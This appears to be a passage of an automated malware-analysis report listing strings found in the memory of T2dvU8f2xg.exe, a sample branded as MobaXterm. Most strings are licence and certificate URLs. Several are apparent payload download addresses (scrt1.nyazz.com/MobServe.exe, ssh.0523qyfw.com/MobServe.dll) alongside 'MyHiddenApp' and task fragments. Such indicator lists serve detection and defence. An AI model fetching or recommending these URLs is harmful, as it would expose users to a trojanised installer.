Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fontawesome.com/free)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fontawesome.com/license/free)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/AndreLZGava/font-awesome-extension)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/AndreLZGava/font-awesome-extension/blob/master/LICENCE)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/belluzj/fantasque-sans)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/belluzj/fantasque-sans/blob/master/LICENSE.txt)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lukas-w/font-logos)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lukas-w/font-logos/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/primer/octicons)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/primer/octicons/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/source-foundry/Hack#license)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/source-foundry/Hack)
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tonsky/FiraCode)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tonsky/FiraCode/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobassh.mobatek.net
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000402C000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2652853895.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp, XWin_MobaX.exe	String found in binary or memory: https://mobaxterm.mobatek.net
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/CygUtils.plugin
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/cert.html
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.0000000003F8F000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.html
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.html03
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.0000000003FF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net8
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netDVarFileInfo$
Source: T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netL
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCFC7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netMobaFira
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netMobaFont
Source: T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netR
Source: T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.neti
Source: T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFC80000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2662991402.00000000019F3000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2652853895.00000000FFA10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netopenwinAboutDlgProc
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netx(
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001886000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/MobServe.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://scrt1.nyazz.com/MobServe.exeMobServe.exeMyHiddenApptaskFailed
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/MobServe.execK.
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0L
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/C
Source: T2dvU8f2xg.exe	String found in binary or memory: https://ssh.0523qyfw.com/MobServe.dll
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/MobServe.dll7
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/MobServe.dllL
Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/MobServe.dllMobServe.dllTask
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.0000000001896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssh.0523qyfw.com/ata
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	